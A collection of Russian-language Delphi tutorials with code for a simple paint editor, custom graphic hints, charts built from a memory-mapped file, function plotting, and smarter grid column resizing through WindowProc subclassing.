pmMergeNotPen Combination of canvas background color and inverse of pen color
pmMaskNotPenCombination of colors common to both canvas background and inverse of pen
pmMerge Combination of pen color and canvas background color
pmNotMergeInverse of pmMerge: combination of pen color and canvas background color
pmMask Combination of colors common to both pen and canvas background
pmNotMaskInverse of pmMask: combination of colors common to both pen and canvas background
рmХогСложение с фоном по исключающему
{ИЛИ (линия появляется только в момент отпускания мыши)
рmNоtХогСложение с фоном по инверсному исключающему ИЛИ}
Начало рисования прямой линии осуществляется по событию onMouseDown: X0 := X; Y0 := Y; X1 := X; Y1 := Y; Image3.Canvas.Pen.Color := Image1.Canvas.Brush.Color; //устанавливается цвет пера; Image3.Canvas.Pen.Mode := pmNotXor; //режим pmNotXor позволяет при движении мыши стирать изображение линии;Рисование прямой линии – кнопка SBLine.Рисуется прямая линия основным цветом. Продолжение рисования прямой линии осуществляется по событию onMouseMove:
with Image3.Canvas do
begin
{стирание прежней линии}
MoveTo(X0, Y0);
//стирается линия в прежнем положении (это необходимо, т.к. метод LineTo
LineTo(X1, Y1);
//рисует линию,начинающуюся в текущей позиции пера и заканчивающуюся
{рисование новой линии}//в указанной точке, исключая эту конечную точку.
MoveTo(X0, Y0); //рисуется новая линия;
LineTo(X, Y);
X1 := X; {запоминание новых координат конца линии}
Y1 := Y;
end;
Заключительные операции при событии MouseUp аналогичны рассмотренным выше, но дополняются переводом пера в режим pmCopy, при котором рисуется окончатель-ная линия: with Image3.Canvas do begin MoveTo(X0, Y0); //стирание прежней линии; LineTo(X1, Y1); Pen.Mode := pmCopy; //рисование новой линии; MoveTo(X0, Y0); LineTo(X, Y); end;Карандаш – кнопка SBPen. Можно рисовать произвольную кривую основным цветом. Glyph:=..\Images\Butons\pencil.bmp При реализации этого инструмента в виде:
Image3.Canvas.Pixels[X, Y] := Image3.Canvas.Brush.Color;линия распадется на отдельные точки, так как курсор мыши перемещаетяс быстро и события onMouseMove происходят вовсе не при перемещении на соседний пик-сель. Линию,оставляемую курсором тоже нужно рисовать методом LineTo, помес-тив в обработчик события onMouseMove оператор:
Image3.Canvas.LineTo(X, Y);Стирание изображения (ластик) – кнопка SBErase. Перемещение ластика закрашивает область под ним во вспомогательный цвет. Ластик реализуется методом FillRect, очищающим изображение под его рамкой. Сохранение файла осуществляется с использованием компонента SavePictureDialog оператором:
procedure TForm1.MSaveClick(Sender: TObject);
begin
if SavePictureDialog1.Execute then
begin
BitMap.Assign(Image3.Picture); //сохранение изображения;
BitMap.SaveToFile(SavePictureDialog1.FileName); //запись в файл изображения;
end;
end;
Сохранение изображения в графическом файле – команда Файл/Сохранить как…
Копированию или вырезанию подлежит ранее выделенный пользователем объект, местоположение и размеры которого определяются переменной R. Поэтому сначала создается временный объект типа TBitMap, в который переносится копируемый фрагмент. Затем объект копируется в ClipBoard.
procedure TForm1.MCopyClick(Sender: TObject);
var
BMCopy: TBitMap;
begin
Image3.Canvas.DrawFocusRect(R); {стирание рамки}
BMCopy := BitMap.Create; {создание временного объекта BMCopy }
BMCopy.Width := R.Right - R.Left;
BMCopy.Height := R.Bottom - R.Top;
try
{копирование объекта в BMCopy }
BMCopy.Canvas.Copyrect(Rect(0, 0, BMCopy.Width, BMCopy.Height),
Image3.Canvas, R);
Image3.Canvas.DrawFocusRect(R); {восстановление рамки}
ClipBoard.Assign(BMCopy); {копирование в Clipboard}
if (Sender as TMenuItem).Name = 'MCut' then
begin
Image3.Canvas.Brush.Color := clWhite; {вырезание}
Image3.Canvas.FillRect(R);
end;
finally
{благодаря разделу finally память освобождается от временного объекта при любом исходе
копирования: удачном или аварийном}
BMCopy.Free; {освобождение памяти}
end;
end;
Копирование или вырезание выделенного фрагмента изображения в буфер обмена Clipboard – команды Правка|Копировать или Правка|Вырезать
Чтение из ClipBoard осуществляется методом LoadFromClipBoardFormat. Предусмотрен перехват исключения EInvalidGraphic, если в ClipBoard содержится не битовая матрица:
procedure TForm1.MPasteClick(Sender: TObject);
var
BMCopy: TBitMap;
begin
BMCopy := BitMap.Create;
try
try
BMCopy.LoadFromClipBoardFormat(cf_BitMap,
ClipBoard.GetAsHandle(cf_Bitmap), 0);
Image3.Canvas.CopyRect(Rect(0, 0, BMCopy.Width, BMCopy.Height);
BMCopy.Canvas, Rect(0, 0, BMCopy.Width, BMCopy.Height));
finally
BMCopy.Free;
end;
except
on EInvalidGraphic do
ShowMessage('Ошибочный формат графики');
end;
end;
Вставка графического изображения типа битовой матрицы из буфера обмена Clipboard – команды Правка|Вставить.
Попробуйте усовершенствовать редактор, добавив в него, например, выбор ширины линий, рисование эллипсов и т.д.
Далее приведен полный текст дополнений к редактору представленному в части 1:
|
TForm1 = class(TForm)
MFile: TMenuItem;
SBRect: TSpeedButton;
SBRectang: TSpeedButton;
SBFillRec: TSpeedButton;
SBErase: TSpeedButton;
SBPen: TSpeedButton;
SBLine: TSpeedButton;
MSave: TMenuItem;
MCut: TMenuItem;
MCopy: TMenuItem;
MPaste: TMenuItem;
SavePictureDialog1: TSavePictureDialog;
procedure Image3MouseDown(Sender: TObject; Button:
TMouseButton; Shift: TShiftState; X, Y: Integer); //доб.
procedure SBBrushClick(Sender: TObject);
procedure Image3MouseMove(Sender: TObject; Shift:
TShiftState; X, Y: Integer);
|
procedure Image3MouseUp(Sender: TObject; Button:
TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure MOpenClick(Sender: TObject);
procedure MCopyClick(Sender: TObject);
procedure MPasteClick(Sender: TObject);
procedure MSaveClick(Sender: TObject);
…………………………………………….
end;
implementation
{$R *.DFM}
var
BitMap, BMCopy: TBitMap;
R, R0: TRect;
X0, Y0, X1, Y1: longint;
const
RBegin: boolean = false; //флаг начала выделения фрагмента
REnd: boolean = false; //
RDrag: boolean = false; //флаг
перетаскивания
procedure
TForm1.Image3MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if (Sender = Image4) or SBColor.Down then
{режим установки основного и вспомогательного
цветов}
begin
if (Button = mbLeft) then
with Image1.Canvas do
begin
{установка основного
цвета}
Brush.Color := (Sender as
TImage).Canvas.Pixels[X, Y];
FillRect(Rect(0, 0, Width, Height));
end
else
with Image2.Canvas do
begin
{установка вспомогательного
цвета}
Brush.Color := (Sender as TI //mage).Canvas.Pixels[X,Y];
FillRect(Rect(0, 0, Width, Height));
end;
end
else
with Image3.Canvas do
begin
X0 := X;
Y0 := Y;
if SBPen.Down then
begin
{режим карандаша}
MoveTo(X, Y);
Pen.Color := Image1.Canvas.Brush.Color;
end
else if SBLine.Down then
begin
{режим линии}
X1 := X;
Y1 := Y;
Pen.Mode := pmNotXor;
Pen.Color := Image1.Canvas.Brush.Color;
end
else if SBBrush.Down then
begin
{режим закраски указанной области
холста}
if
Button = mbLeft then
Brush.Color := Image1.Canvas.Brush.Color
else
Brush.Color := Image2.Canvas.Brush.Color;
FloodFill(X, Y, Pixels[X, Y], fsSurface);
end
else if SBErase.Down then
begin
{режим ластика}
R := Rect(X - 6, Y - 6, X + 6, Y + 6);
DrawFocusRect(R);
Brush.Color := Image2.Canvas.Brush.Color;
FillRect(Rect(X - 5, Y - 5, X + 5, Y + 5));
end
else if SBRect.Down or SBRectang.Down or
SBFillRec.Downthen
begin
{режим работы с фрагментом}
if REnd then
begin
{стирание прежней рамки}
DrawFocusRect(R);
if (X < R.Right) and (X > R.Left) and (Y > R.Top) and
(Y < R.Bottom)
{режим начала перетаскивания
фрагмента} then
begin
{установка флагов}
RDrag := true;
REnd := false;
{запоминание начального положения
перетаскиваемого фрагмента}
R0.TopLeft := R.TopLeft;
R0.BottomRight := R.BottomRight;
{запоминание
изображения}
BitMap.Assign(Image3.Picture);
{установка
цвета
кисти}
Brush.Color := Image2.Canvas.Brush.Color;
MCopy.Enabled := false;
MCut.Enabled := false;
end;
end
else
begin
{режим начала рисования рамки
фрагмента}
RBegin := true;
REnd := false;
R.TopLeft := Point(X, Y);
R.BottomRight := Point(X, Y);
DrawFocusRect(R);
end;
end;
end;
end;
procedure
TForm1.SBBrushClick(Sender: TObject);
begin
if (Sender as TSpeedButton).Down then
BitMap.Assign(Image3.Picture);
RBegin := false;
RDrag := false;
REnd := false;
end;
procedure
TForm1.Image3MouseMove(Sender: TObject; Shift: TShiftState; X, Y:
Integer);
begin
if not (ssLeft in Shift) then
exit;
{режим линии}
if SBLine.Down then
with
Image3.Canvas do
begin
{стирание прежней линии}
MoveTo(X0, Y0);
LineTo(X1, Y1);
{рисование новой линии}
MoveTo(X0, Y0);
LineTo(X, Y);
{запоминание новых координат конца
линии}
X1 := X;
Y1 := Y;
end
else if SBPen.Down then
Image3.Canvas.LineTo(X, Y)
else if SBErase.Down then
with Image3.Canvas do
begin
{режим ластика}
DrawFocusRect(R);
R := Rect(X - 6, Y - 6, X + 6, Y + 6);
DrawFocusRect(R);
FillRect(Rect(X - 5, Y - 5, X + 5, Y + 5));
end
else if (SBRect.Down and (RBegin or RDrag)) or
SBRectang.Down or SBFillRec.Down then
with Image3.Canvas do
begin
if RBegin then
begin
{Режим рисования рамки фрагмента}
DrawFocusRect(R);
if X0 < X then
begin
R.Left := X0;
R.Right := X
end
else
begin
R.Left := X;
R.Right := X0
end;
if Y0 < Y then
begin
R.Top := Y0;
R.Bottom := Y
end
else
begin
R.Top := Y;
R.Bottom := Y0
end;
DrawFocusRect(R);
end
else if SBRect.Down then
begin
{Режим перетаскивания фрагмента}
{восстановление изображения под перетаскиваемым
фрагментом}
CopyRect(R, BitMap.Canvas, R);
{если не нажата клавиша Ctrl - стирание
изображения в R0}
if not (ssCtrl in Shift) then
FillRect(R0);
{формирование нового положения фрагмента
}
R.Left := R.Left + X - X0;
R.Right := R.Right + X - X0;
R.Top := R.Top + Y - Y0;
R.Bottom := R.Bottom + Y - Y0;
{запоминание положения курсора мыши}
X0 := X;
Y0 := Y;
{рисование фрагмента в новом
положении}
CopyRect(R, BitMap.Canvas, R0);
{рисование
рамки}
DrawFocusRect(R);
end;
end;
end;
procedure
TForm1.Image3MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
with Image3.Canvas do
begin
if SBLine.Down then
begin
MoveTo(X0, Y0);
LineTo(X1, Y1);
Pen.Mode := pmCopy;
MoveTo(X0, Y0);
LineTo(X, Y);
end
else if SBRect.Down then
begin
if RDrag then
DrawFocusRect(R);
if RBegin and not REndthen
begin
REnd := true;
MCopy.Enabled := true;
MCut.Enabled := true;
end
end
else if SBRectang.Down then
begin
Brush.Color := Image1.Canvas.Brush.Color;
FrameRect(R);
end
else if SBFillRec.Down then
begin
Brush.Color := Image2.Canvas.Brush.Color;
Pen.Color := Image1.Canvas.Brush.Color;
Rectangle(R.Left, R.Top, R.Right, R.Bottom);
end
else if
SBErase.Downthen
Image3.Canvas.DrawFocusRect(R);
RBegin := false;
RDrag := false;
end;
end;
procedure
TForm1.MCopyClick(Sender: TObject);
{var
MyFormat: Word;
AData: THandle;
APalette: HPALETTE;}
begin
Image3.Canvas.DrawFocusRect(R);
BMCopy := BitMap.Create;
BMCopy.Width := R.Right - R.Left;
BMCopy.Height := R.Bottom - R.Top;
try
BMCopy.Canvas.Copyrect(Rect(0, 0, BMCopy.Width, BMCopy.Height),
Image3.Canvas, R);
Image3.Canvas.DrawFocusRect(R);
{BMCopy.SaveToClipBoardFormat(MyFormat,AData,APalette);
ClipBoard.SetAsHandle(MyFormat,AData);}
ClipBoard.Assign(BMCopy);
if (Sender as TMenuItem).Name = 'MCut' then
begin
Image3.Canvas.Brush.Color := clWhite;
Image3.Canvas.FillRect(R);
end;
finally
BMCopy.Free;
end;
end;
procedure
TForm1.MPasteClick(Sender: TObject);
begin
BMCopy := BitMap.Create;
try
try
BMCopy.LoadFromClipBoardFormat(cf_BitMap,
ClipBoard.GetAsHandle(cf_Bitmap), 0);
Image3.Canvas.CopyRect(Rect(0, 0, BMCopy.Width, BMCopy.Height),
BMCopy.Canvas, Rect(0, 0, BMCopy.Width, BMCopy.Height));
finally
BMCopy.Free;
end;
except
on EInvalidGraphic do
ShowMessage('Ошибочный формат графики');
end;
end;
procedure
TForm1.MSaveClick(Sender: TObject);
begin
if SavePictureDialog1.Execute then
begin
BitMap.Assign(Image3.Picture);
BitMap.SaveToFile(SavePictureDialog1.FileName);
end;
end;
end.
Как сделать графический Hint.
Автор: http://www.swissdelphicenter.ch
{*********************************************************
Mit Hilfe des folgendes Codes lassen sich leicht beliebige
Hints erstellen. Dazu muss nur dir Prozedur "Paint" den
Wьnsсhеn entsprechend angepasst werden.
With the following Code you can simply create custom hints.
You just have to change the procedur "Paint".
*********************************************************}
type
TGraphicHintWindow = class(THintWindow)
constructor Create(AOwner: TComponent); override;
private
FActivating: Boolean;
public
procedure ActivateHint(Rect: TRect; const AHint: string); override;
protected
procedure Paint; override;
published
property Caption;
end;
{...}
constructor TGraphicHintWindow.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
{
Hier кцnnеn beliebige Schrift Eigenschaften gesetzt
werden.
Here you can set custom Font Properties:
}
with Canvas.Font do
begin
Name := 'Arial';
Style := Style + [fsBold];
Color := clBlack;
end;
end;
procedure TGraphicHintWindow.Paint;
var
R: TRect;
bmp: TBitmap;
begin
R := ClientRect;
Inc(R.Left, 2);
Inc(R.Top, 2);
{*******************************************************
Der folgende Code ist ein Beispiel wie man die Paint
Prozedur nutzen kann um einen benutzerdefinierten Hint
zu erzeugen.
The folowing Code ist an example how to create a custom
Hint Object. :
}
bmp := TBitmap.Create;
bmp.LoadfromFile('D:\hint.bmp');
with Canvas do
begin
Brush.Style := bsSolid;
Brush.Color := clsilver;
Pen.Color := clgray;
Rectangle(0, 0, 18, R.Bottom + 1);
Draw(2, (R.Bottom div 2) - (bmp.Height div 2), bmp);
end;
bmp.Free;
//Beliebige HintFarbe
//custom Hint Color
Color := clWhite;
Canvas.Brush.Style := bsClear;
Canvas.TextOut(20, (R.Bottom div 2) - (Canvas.Textheight(Caption) div 2),
Caption);
{********************************************************}
end;
procedure TGraphicHintWindow.ActivateHint(Rect: TRect; const AHint: string);
begin
FActivating := True;
try
Caption := AHint;
//Нцhе des Hints setzen setzen
//Set the "Height" Property of the Hint
Inc(Rect.Bottom, 14);
//Breite des Hints setzen
//Set the "Width" Property of the Hint
Rect.Right := Rect.Right + 20;
UpdateBoundsRect(Rect);
if Rect.Top + Height > Screen.DesktopHeight then
Rect.Top := Screen.DesktopHeight - Height;
if Rect.Left + Width > Screen.DesktopWidth then
Rect.Left := Screen.DesktopWidth - Width;
if Rect.Left < Screen.DesktopLeft then
Rect.Left := Screen.DesktopLeft;
if Rect.Bottom < Screen.DesktopTop then
Rect.Bottom := Screen.DesktopTop;
SetWindowPos(Handle, HWND_TOPMOST, Rect.Left, Rect.Top, Width, Height,
SWP_SHOWWINDOW or SWP_NOACTIVATE);
Invalidate;
finally
FActivating := False;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HintWindowClass := TGraphicHintWindow;
Application.ShowHint := False;
Application.ShowHint := True;
end;
Построение графика.
unit TestGrF;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, DdhGraph;
type
TForm1 = class(TForm)
ColorDialog1: TColorDialog;
FontDialog1: TFontDialog;
Image1: TImage;
Panel1: TPanel;
Button1: TButton;
Button2: TButton;
CheckBox1: TCheckBox;
Button3: TButton;
DdhGraph1: TDdhGraph;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
ColorDialog1.Color := DdhGraph1.Color;
if ColorDialog1.Execute then
DdhGraph1.Color := ColorDialog1.Color;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
FontDialog1.Font := DdhGraph1.Font;
if FontDialog1.Execute then
DdhGraph1.Font := FontDialog1.Font;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if CheckBox1.Checked then
DdhGraph1.BorderStyle := bsSingle
else
DdhGraph1.BorderStyle := bsNone;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ColorDialog1.Color := DdhGraph1.LinesColor;
if ColorDialog1.Execute then
DdhGraph1.LinesColor := ColorDialog1.Color;
end;
end.
|
Загрузить исходный код проекта Загрузить библиотеку с компонентами
График и отображаемый в память файл.
unit MapGForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, SyncObjs, TeEngine, Series, ExtCtrls, TeeProcs, Chart, Grids,
ComCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Chart1: TChart;
Series1: TBarSeries;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
hMapFile: THandle;
MapFilePointer: Pointer;
public
procedure WmUser(var Msg: TMessage); message wm_user;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
Address: Pointer;
X, Y, Total: Integer;
begin
hMapFile := CreateFileMapping(
$FFFFFFFF, // file handle ... or memory
nil, // security
Page_ReadWrite, // access rights
0, // high memory size
10000, // low memory size
'DdhMappedFileGraph'); // mapped file name
if hMapFile <> 0 then
MapFilePointer := MapViewOfFile(
hMapFile, // handle returned above
File_Map_All_Access, // access rights
0, 0, 0) // access the entire mapped file
else
ShowMessage('hMapFile = 0');
if MapFilePointer = nil then
ShowMessage('MapFilePointer = nil')
else
begin
// add window to area
Address := pChar(MapFilePointer) + 400;
while PInteger(Address)^ <> 0 do
Address := pChar(Address) + 4;
PInteger(Address)^ := Handle;
end;
// start up chart
Chart1.Series[0].Clear;
for X := 0 to 9 do
begin
Total := 0;
for Y := 0 to 9 do
begin
Address := pChar(MapFilePointer) + (X + Y * 10) * 4;
Inc(Total, PInteger(Address)^);
end;
Chart1.Series[0].AddY(
Total, IntToStr(X + 1), clRed);
end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnMapViewOfFile(MapFilePointer);
CloseHandle(hMapFile);
end;
procedure TForm1.WmUser(var Msg: TMessage);
var
X, Y, Total: Integer;
Address: Pointer;
begin
// copy all the data to the graph
for X := 0 to 9 do
begin
Total := 0;
for Y := 0 to 9 do
begin
Address := pChar(MapFilePointer) + (X + Y * 10) * 4;
Inc(Total, PInteger(Address)^);
end;
Chart1.Series[0].YValue[X] := Total;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
X, Y: Integer;
Address: Pointer;
begin
X := Random(10);
Y := Random(10);
Address := pChar(MapFilePointer) + (X + Y * 10) * 4;
PInteger(Address)^ := PInteger(Address)^ + Random(10);
Address := pChar(MapFilePointer) + 400;
while PInteger(Address)^ <> 0 do
begin
PostMessage(PInteger(Address)^, wm_user, 0, 0);
Address := pChar(Address) + 4;
end;
end;
initialization
Randomize;
end.
График функции.
unit grfunc_;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormPaint(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
// Функция, график которой надо построить
function f(x: real): real;
begin
f := 2 * Sin(x) * exp(x / 5);
end;
// строит график функции
procedure GrOfFunc;
var
x1, x2: real; // границы изменения аргумента функции
y1, y2: real; // границы изменения значения функции
x: real; // аргумент функции
y: real; // значение функции в точке x
dx: real; // приращение аргумента
l, b: integer; // левый нижний угол области вывода графика
w, h: integer; // ширина и высота области вывода графика
mx, my: real; // масштаб по осям X и Y
x0, y0: integer; // точка - начало координат
begin
// область вывода графика
l := 10; // X - координата левого верхнего угла
b := Form1.ClientHeight - 20; // Y - координата левого верхнего угла
h := Form1.ClientHeight - 40; // высота
w := Form1.Width - 40; // ширина
x1 := 0; // нижняя граница диапазона аргумента
x2 := 25; // верхняя граница диапазона аргумента
dx := 0.01; // шаг аргумента
// найдем максимальное и минимальное значения
// функции на отрезке [x1,x2]
y1 := f(x1); // минимум
y2 := f(x1); // максимум
x := x1;
repeat
y := f(x);
if y < y1 then y1 := y;
if y > y2 then y2 := y;
x := x + dx;
until (x >= x2);
// вычислим масштаб
my := h / abs(y2 - y1); // масштаб по оси Y
mx := w / abs(x2 - x1); // масштаб по оси X
// оси
x0 := l;
y0 := b - Abs(Round(y1 * my));
with form1.Canvas do
begin
// оси
MoveTo(l, b); LineTo(l, b - h);
MoveTo(x0, y0); LineTo(x0 + w, y0);
TextOut(l + 5, b - h, FloatToStrF(y2, ffGeneral, 6, 3));
TextOut(l + 5, b, FloatToStrF(y1, ffGeneral, 6, 3));
// построение графика
x := x1;
repeat
y := f(x);
Pixels[x0 + Round(x * mx), y0 - Round(y * my)] := clRed;
x := x + dx;
until (x >= x2);
TextOut(17, 100, 'Delphi World Example');
end;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
GrOfFunc;
end;
// изменился размер окна программы
procedure TForm1.FormResize(Sender: TObject);
begin
// очистить форму
form1.Canvas.FillRect(Rect(0, 0, ClientWidth, ClientHeight));
// построить график
GrOfFunc;
end;
end.
Скачать весь проект
Сетка и отображаемый в память файл.
unit MapGForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, SyncObjs, TeEngine, Series, ExtCtrls, TeeProcs, Chart, Grids,
ComCtrls;
type
TForm1 = class(TForm)
StringGrid1: TStringGrid;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure StringGrid1SelectCell(Sender: TObject; Col, Row: Integer;
var CanSelect: Boolean);
private
hMapFile: THandle;
MapFilePointer: Pointer;
public
procedure WmUser(var Msg: TMessage); message wm_user;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
Address: Pointer;
begin
hMapFile := CreateFileMapping(
$FFFFFFFF, // file handle ... or memory
nil, // security
Page_ReadWrite, // access rights
0, // high memory size
10000, // low memory size
'DdhMappedFileGraph'); // mapped file name
if hMapFile <> 0 then
MapFilePointer := MapViewOfFile(
hMapFile, // handle returned above
File_Map_All_Access, // access rights
0, 0, 0) // access the entire mapped file
else
ShowMessage('hMapFile = 0');
if MapFilePointer = nil then
ShowMessage('MapFilePointer = nil')
else
begin
// add window to area
Address := pChar(MapFilePointer) + 400;
while PInteger(Address)^ <> 0 do
Address := pChar(Address) + 4;
PInteger(Address)^ := Handle;
end;
// posts an update request to itself
PostMessage(Handle, wm_user, 0, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnMapViewOfFile(MapFilePointer);
CloseHandle(hMapFile);
end;
procedure TForm1.WmUser(var Msg: TMessage);
var
X, Y: Integer;
Address: Pointer;
begin
// update the grid
for X := 0 to 9 do
for Y := 0 to 9 do
begin
Address := pChar(MapFilePointer)
+ (X + Y * 10) * 4;
StringGrid1.Cells[X, Y] :=
IntToStr(PInteger(Address)^);
end;
end;
procedure TForm1.StringGrid1SelectCell(Sender: TObject;
Col, Row: Integer; var CanSelect: Boolean);
var
Address: Pointer;
begin
// reset the cell to 0
Address := pChar(MapFilePointer) + (Col + Row * 10) * 4;
PInteger(Address)^ := 0;
// notify all listeners
Address := pChar(MapFilePointer) + 400;
while PInteger(Address)^ <> 0 do
begin
PostMessage(PInteger(Address)^, wm_user, 0, 0);
Address := pChar(Address) + 4;
end;
end;
end.
Grid с человеческим лицом.
Автор: Пляко Андрей
Специально для Королевства Delphi
Сетка (Grid) — очень удобный компонент для представления данных. К несчастью, внешний вид Воrlаnd'овских сеток крайне непригляден; да и работать с ними пользователю, подчас, неудобно. Я выделил два критерия, которым, на мой взгляд, должна удовлетворять хорошая сетка:
Сетка должна "покрывать" весь компонент; компонент не должен быть шире представляемой им сетки. Другими словами, в сетке должна быть (хотя бы одна) растягиваемая колонка, ширина которой меняется при изменении размеров сетки (например, при rеsizе'е формы). При изменении пользователем ширины колонки, должна соответствующим образом меняться ширина смежной с ней колонки, так чтобы создавалось впечатление, будто пользователь просто передвинул "границу" между двумя колонками. Пример такой сетки представлен в проекте GridResize. Так как многие пользуются не стандартными сетками, а каким-то их модификациями, то вместо написания очередного компонента на базе TStringGrid, я решил написать специальный модуль (VCLRoutine) и продемонстрировать в проекте GridResize, как с его помощью можно сделать любую сетку хорошей. То есть, воспользовавшись модулем VCLRoutine вы можете привить своей любимой сетке либо способность растягиваться на всю доступную ширину, либо возможность по-умному изменять ширину колонки, либо и то и другое. Например, все это можно проделать с DataAware сетками; пример такой модификации стандартной сетки TDBGrid представлен в проекте GridDBResize. Оба демонстрационных проекта (под Delphi 5) расположены здесь. Кроме того, модуль VCLRoutine содержит еще несколько полезных процедур, которые, впрочем, никак не задействованы в проектах Grid[DB]Resize, но которые могут понравится и/или пригодится читателю. В меру возможностей код модуля снабжен пояснительными комментариями. В последующих двух подразделах приводится описание модуля VCLRoutine и дается комментарий по наиболее сложным кускам кода проекта GridResize.Модуль VCLRoutine
ResizeCustomGrid (aGrid: TCustomGrid; SizeColumn: Integer=-1) Процедура изменяет ширину колонки с номером SizeColumn так, чтобы сетка "покрывала" весь компонент. Если SizeColumn не указан, то растягиваться будет последняя колонка сетки. Если растягиваемая колонка не видна на экране, то ее ширина не изменяется. Вызов этой функции логично производить при изменении ширины сетки; например, в обработчике события OnResize формы. ResizeCustomDBGrid (aGrid: TCustomDBGrid; SizeColumn: Integer=-1) Это DB Aware аналог процедуры ResizeCustomGrid; в ней просто учитывается возможное наличие "индикатора" dgIndicator in Options ResizeStatusBar (aBar: TStatusBar; DontResize: SetOfByte=[]) Процедура делает ширину всех панелей TStatusBar одинаковыми; ширина панелей, номера которых указаны в множестве DontResize остается прежней. Эту процедуру тоже логично вызывать из обработчика события OnResize. CanResizeCustomGridColumn (aGrid: TCustomGrid; const x,y: Integer): Integer Эта функция позволяет узнать, может ли пользователь вручную изменить ширину колонки, если курсор мышки имеет координаты x,y. Функция возвращает номер колонки, размер которой будет изменяться; функция возвращает -1, если пользователь не может изменить ширину никакой колонки. Пояснения по использованию этой функции даны в следующем подразделе. CanResizeCustomDBGridColumn (aGrid: TCustomGrid; const x,y: Integer): Integer Это DB Aware аналог процедуры CanResizeCustomGridColumnSwapRows (aGrid: TStringGrid; const Row1, Row2: Integer) Простенькая процедура; она меняет местами две строки (Row1 и Row2) сетки TStringGrid.
Комментарии к проекту GridResizeПроцедура ResizeCustomGrid позволяет легко удовлетворить первому критерию хорошей сетки; достаточно вот так описать обработчик события OnResize формы:
procedure TGridForm.FormResize(Sender: TObject); begin // Растягиваем последнюю колонку ResizeCustomGrid(MyGrid); end; |
Для этого нам надо будет "подменить" функцию WindowProc, отвечающую за обработку Windows-сообщений. Делается это так: в private секции формы заводится переменная типа TWndMethod (эта переменная будет хранить ссылку на "старую" WindowProc сетки) и описывается процедура, которая станет новой WindowProc:
TGridForm = class(TForm)
// [ ... Skiped ... ]
private { Private declarations }
// [ ... Skiped ... ]
FWndOrigin: TWndMethod; // WindowProc сетки MyGrid
// Подложная WindowProc сетки MyGird, обрабатывает WM_LBUTTONDOWN
procedure FGridDownMtd(var Msg: TMessage);
end;
|
Сама "подмена" осуществляется в обработчике OnCreate формы:
procedure TGridForm.FormCreate(Sender: TObject); begin // [ ... Skiped ... ] // Подмена WindowProc FWndOrigin := MyGrid.WindowProc; MyGrid.WindowProc := FGridDownMtd; end; |
Все, теперь обработку Windows-сообщений сетки осуществляет метод FGridDownMtd. Эта процедура имеет следующую структуру:
procedure TGridForm.FGridDownMtd(var Msg: TMessage);
begin
if MSg.Msg = WM_LBUTTONDOWN then
begin
// [ ... Skiped ... ]
end;
// Передаем сообщение изначальной WindowProc
FWndOrigin(Msg);
end;
|
Если мы хотим, чтобы колонки изменяли ширину "по-умному", то надо, в процедуре FGridDownMtd запоминать: колонку, ширина которой будет изменяться, изначальную ширину этой колонки и, например, сумму ширин этой и смежной колонок. В соответствии с этим, мы заведем еще три приватных поля в форме:
TGridForm = class(TForm)
// [ ... Skiped ... ]
private { Private declarations }
FResizeColumn: Integer; // Номер rеsizе'уемой колонки
FOriginSize: Integer; // Ее изначальная ширина
FResizeSum: Integer; // Сумма ширин rеsizе'уемой и смежной колонок
FWndOrigin: TWndMethod; // WindowProc сетки MyGrid
// Подложная WindowProc сетки MyGird, обрабатывает WM_LBUTTONDOWN
procedure FGridDownMtd(var Msg: TMessage);
end;
|
Инициируем их при создании формы:
procedure TGridForm.FormCreate(Sender: TObject); begin // Инициализация переменных FResizeColumn := -1; FResizeSum := 0; FOriginSize := 0; // Подмена WindowProc FWndOrigin := MyGrid.WindowProc; MyGrid.WindowProc := FGridDownMtd; end; |
И соответствующим образом опишем процедуру FGridDownMtd:
procedure TGridForm.FGridDownMtd(var Msg: TMessage);
begin
if MSg.Msg = WM_LBUTTONDOWN then
begin
// Смотрим, какую колонку при этом будем растягивать
FResizeColumn :=
CanResizeCustomGridColumn(MyGrid, Msg.LParamLo, Msg.LParamHi);
// Если какую-то, то запоминаем параметры изменяемых колонок
if FResizeColumn >= 0 then
with MyGrid do
begin
FOriginSize := ColWidths[FResizeColumn];
FResizeSum := FOriginSize;
// Если risizе'аем не последнюю колонку, то...
if ColCount > FResizeColumn + 1 then
// ...прибавляем к FResizeSum ширину смежной (справа) колонки
inc(FResizeSum, ColWidths[FResizeColumn + 1]);
end;
end;
// Передаем сообщение изначальной WindowProc
FWndOrigin(Msg);
end;
|
